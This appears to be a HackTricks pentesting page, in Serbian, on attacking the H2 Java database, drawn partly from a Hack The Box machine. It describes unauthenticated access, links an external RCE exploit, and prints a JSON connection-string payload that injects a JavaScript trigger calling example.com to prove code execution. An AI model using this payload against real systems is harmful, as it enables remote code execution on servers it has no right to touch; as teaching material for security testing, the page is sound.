H2 - Java SQL baza podataka

Reading time: 2 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Zvanična stranica: https://www.h2database.com/html/main.html

Pristup

Možete navesti nepostojeće ime baze podataka kako biste napravili novu bazu podataka bez validnih kredencijala (neautentifikovano):

Ili ako znate da, na primer, mysql radi i znate ime baze podataka i kredencijale za tu bazu, možete jednostavno pristupiti:

Trik iz kutije Hawk sa HTB.

RCE

Imajući pristup za komunikaciju sa H2 bazom podataka, proverite ovaj exploit za dobijanje RCE na njoj: https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed

H2 SQL injekcija do RCE

U ovom postu objašnjen je payload za dobijanje RCE putem H2 baze podataka zloupotrebom SQL injekcije.

json
[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks